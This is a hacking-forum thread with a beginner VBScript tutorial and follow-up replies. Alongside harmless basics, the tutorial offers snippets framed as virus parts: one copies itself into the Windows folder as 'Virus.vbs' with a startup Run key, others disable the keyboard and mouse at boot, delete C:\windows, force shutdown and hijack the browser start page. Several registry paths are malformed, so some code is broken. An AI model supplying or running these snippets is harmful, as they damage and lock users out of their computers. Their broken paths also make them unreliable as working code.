Author Topic: Visual Basic Scripting Basic  (Read 3690 times)

0 Members and 1 Guest are viewing this topic.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Visual Basic Scripting Basic
« on: October 29, 2011, 11:38:08 pm »
Tutorial by Huntondoom.

Though it's not VB / Net
it more a simpler version of VB
it pretty handy If you want to start with something...

this type of programming can easily be done in Notepad.
so you wont need to download a some sort of crap of software (though they can be handy for debugging)

so I am going to explain some code's, what most things mean and hope you will use it to experiment,
because it's important to have a creative mind.

If you want to see how your script works
then just save it as  Name.vbs

let's start very easy,
with a Messagebox
Code:

Code: (vb) [Select]
msgbox "insert text here"
or

Code: (vb) [Select]
WScript.Echo "lol"

easy as it is msgbox stands for messagebox (NOWAY :)
and between the  " "  you put your text that will be shown
or you can use WScript.Echo though I use msgbox this is also a way of showing your message
ps: text will only be shown when it's put between ""
 numbers will be show even without the ""

the input
Code:
Code: (vb) [Select]
inputbox("insert question ")

insert your text in between  (" ")
though you can insert your answer it is not being saved
if you want to save it under a string or variable then do this
Code:
Code: (vb) [Select]
Stringname=inputbox("Insert question")

now it is saved under "stringname" it doesn't have to be stringname it could be anything random you want like blablablabla or wheeee

if you want to show the string in a message you just simply do
code:
Code: (vb) [Select]
msgbox stringname

if you would combine everything I just explained then you can get some thing like this
code:
Code: (vb) [Select]
Answer=inputbox("What's your name?")
msgbox "damm who the hack call's it child "& answer


in theory you would see the entered name appear in the message

If you want to expands this kind of thing like with a title or more strings shown in the message then
Code:

Code: (vb) [Select]
name=inputbox("...")
time=inputbox("... ")
name=name & vbCRLf
name = time & " " & name & vbCRlF
msgbox "" & name

the message box should look something like this:

Quote
name
time name

 if you wouldn't use the " " then string will be attach to each other.
not sure what vbCRLf stand for, but i know that it acts as ENTER
and will create a new sentence beneath it (if there in nothing under it, then It won't be showed)
if you want to set a text between them you do it just like  the space " " but you just insert text there
for numbers you don't need ""


Code: (vb) [Select]
name=inputbox("what's your name ? ","Evilzone","no name")
if name = "no name" then
msgbox "you didn't fill in, -.-'",1024,"Evilzone "
end if
if name = "huntondoom" then
msgbox "Your awesome",1402,"Evilzone "
end if


has you can see there is something different with the inputbox and msgbox,
the text of inputbox( and msgbox) consist of 3 section's

inputbox:
"what's your name?","Evilzone","no name"    the section look like something like this (it filled in what it does)
" Text show in the msgbox","Title of the message box","answer that is already filled in"
  
"you didn't fill in, -.-'",1024,"Evilzone"     the section look like something like this (it filled in what it does)
" message"," don't know (that's why the random number )","Title"

same goes here is it a number then you don't need ""
you also see a If  part

you start as  If (duuuh)
then the string or variable comes


Code: (vb) [Select]
if Name = "Huntondoom"
so if the insert string is Huntondoom equals what your are looking for


Code: (vb) [Select]
if stringname = "want it has to be"

this will open more possibility for you to do
message to things you ask that will so up what is insert and it can be more then just that

to complete this command then do:

Code: (vb) [Select]
if stringname = "what it's supposed to be" then
(fill here you commands in here)
end if


if you script need to be shutdown in the beginning in a if command then
this next command will shutdown your script
 
Code: (vb) [Select]
Wscript.quit

it is recommended it that you use it at the end of you script
some code's can still be active and this shut's it down

now that was the basic

now I will just give you some code's and explain there function

Creating a file:
Code: (vb) [Select]
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:textfilel.txt")
a.WriteLine ("insert your text here")
a.WriteBlankLines 1


this create's a file
this case a *.txt file
a stand for a variable that can be changed,
notice that every variable has to be the same
a.writeline is what will be put in your file
multiple a.writeline will create more sentence, it works like pressing Enter
a.WriteBlankLines 1 is to make a blank, depending on the value that is entered were 1 is it will create 1 or mulitple blanks lines  
this you can create batch file  with a script in this case it will create it's own virus or script program

change Internet explorer's name
Code: (vb) [Select]
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainWindow Title","page"

as it said it will change internet explorer's name

change internet explorer's mainwindow

Code: (vb) [Select]
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainStart Page"," [url=http://www.evilzone.org]www.evilzone.org[/url] "


as it said it will change internet explorer's main window
ps: if the 2 code's above don't work then there is probability something wrong with the  \  things (it's in the wrong place)(or mises a few)

opening and closing CD-station's

Code: (vb) [Select]
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If


it will count who many station's there are and open and close them
depending on the number insert in the green section's

Create a Error sound:
Code: (vb) [Select]
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True


place file into start/run
Code: (vb) [Select]
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunStart menu",winfolder & "Name.vbs"


it will send your virus to a other folder

shutdown keyboard:
Code: (vb) [Select]
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/DisableKeyboard", "Rundll32.exe Keyboard,Disable

shutdown mouse:
Code: (vb) [Select]
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsof/tWindows/CurrentVersion/Run/DisableMouse", "Rundll32.exe Mouse,Disable"


delete a folder:
Code: (vb) [Select]
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete

(do not try this exact code on your computer)

let the script wait a phew moments:
Code: (vb) [Select]
WScript.Sleep 400

the number will show how long it will wait
but it count's really fast 400 is not so long waiting

send a text, like if somebody type something:
(you don't see it being typed put it just put your text there)
Code: (vb) [Select]
WshShell.SendKeys " Evilzone FTW"

shutdown computer:
Code: (vb) [Select]
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("
select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next


open notepad and write a text:
Code: (vb) [Select]
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "hey go to [url=http://www.evilzone.org]www.evilzone.org[/url]  "


ps: the first 2 line are for running a program
where notepad is located you either fill in the path of the file
or you just inserted a file that is known by the computer like notepad.

Change personal message in MSN:
Code: (vb) [Select]
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " I love Evilzone "
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub


change the name of a file, can also move it:
Code: (vb) [Select]
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.MoveFile "C:\FSO\Vrius.vbs" , "C:\FSO\setup.dll"


variable loop:
Code: (vb) [Select]
for I=0 to 5
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
next
wscript.quit


I  is the variable that could be anything (it's usaly handy to hold on to a standaard)
0 is the beginning point
5 is the end point

a variable loop end with next

it is possible to do a double variable loop

it mostly used to check something after some time like this:
Code: (vb) [Select]
a=0
for I=0 to 10
if a=10 then
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
end if
if a=20 then
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
wscript.quit
end if
for J=0 to 2
a=a+1
next
next


if everything works like planned it will create check what a is every 2 times so it wil check what a is on 2 4 6 8 10 12 14 16 18 20
every time it hits 10 & 20 it will make a sound
every time it hits 20 it will shutdown the script

i may not be the best way to do it but it is an example

if you have a comment, thing you want to add , etc etc etc
please tell me

use these things to create programs that you just though of

Offline Huntondoom

  • Baron
  • ****
  • Posts: 856
  • Cookies: 17
  • Visual C# programmer
    • View Profile
Re: Visual Basic Scripting Basic
« Reply #1 on: October 30, 2011, 01:12:29 am »
I remember this, this was for a competition back in the old days, :P
this was my only program language back then until I had more knowledge about programming, I should rewrite it a bit though :P
Aslong as you are connected to the internet, you'll have no privacy

Advanced Internet Search
Clean Up!

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Visual Basic Scripting Basic
« Reply #2 on: October 30, 2011, 09:07:30 am »
I remember this, this was for a competition back in the old days, :P
this was my only program language back then until I had more knowledge about programming, I should rewrite it a bit though :P
Tell me if you do and I'll update it ;)

Offline Huntondoom

  • Baron
  • ****
  • Posts: 856
  • Cookies: 17
  • Visual C# programmer
    • View Profile
Re: Visual Basic Scripting Basic
« Reply #3 on: October 30, 2011, 11:57:48 am »
Tell me if you do and I'll update it ;)
can you pm me the original source?
Aslong as you are connected to the internet, you'll have no privacy

Advanced Internet Search
Clean Up!

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Visual Basic Scripting Basic
« Reply #4 on: March 11, 2012, 12:00:40 am »

Although this is an OLD thread but the tutorials are never too old to be modified , so  I'd like to add a point, a point that could be handy for beginners,

when you are done with using an object, destroy it immediately because destroying the object frees up the memory it was taking up. Objects take up a great deal more memory than do normal variables. Also, for reasons too complex to go into here, keeping object variables around longer than necessary can cause fatal memory errors. It’s a good idea to develop a habit of setting all object variables equal to Nothing immediately after you are done with them
Syntax:
Code: [Select]
Set <variable> = Nothing
« Last Edit: March 11, 2012, 12:03:37 am by OverBurneD »

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Visual Basic Scripting Basic
« Reply #5 on: March 11, 2012, 12:41:35 am »

Although this is an OLD thread but the tutorials are never too old to be modified , so  I'd like to add a point, a point that could be handy for beginners,

when you are done with using an object, destroy it immediately because destroying the object frees up the memory it was taking up. Objects take up a great deal more memory than do normal variables. Also, for reasons too complex to go into here, keeping object variables around longer than necessary can cause fatal memory errors. It’s a good idea to develop a habit of setting all object variables equal to Nothing immediately after you are done with them
Syntax:
Code: [Select]
Set <variable> = Nothing

Orly. So the automatic memory management for VB isn't working anymore?
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Visual Basic Scripting Basic
« Reply #6 on: March 11, 2012, 10:19:41 am »
External objects, such as ADO or Scripting objects, are not necessarily destroyed at the end of execution. To remove external objects, you have to set them to Nothing.
« Last Edit: March 11, 2012, 10:20:06 am by OverBurneD »

L0rd_M@dness

  • Guest
Re: Visual Basic Scripting Basic
« Reply #7 on: June 08, 2012, 08:19:59 am »
I'd like to ask a question here:
Maybe I was blind, but about the compiler, there's nothing mentioned.
VB.Net is out of question.
I know about VB6, but that comes with it's own IDE, but Kulverstakus says that this can be done in Notepad, so I assume he's talking about another sort of compiler.
I've heard of VBA and VBS, but I don't know if those are the case...
Can I ask which compiler this code is compiled with?

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Visual Basic Scripting Basic
« Reply #8 on: June 08, 2012, 08:53:26 am »
Visual BAsic Script is a scripting language. It might be similar to Visual Basic. It can't be compiled and runs natively on Windows.
So just write it in notepad, save and run.

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: Visual Basic Scripting Basic
« Reply #9 on: June 08, 2012, 10:23:08 am »
asdf
« Last Edit: February 13, 2013, 11:23:03 am by DeepCopy »
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry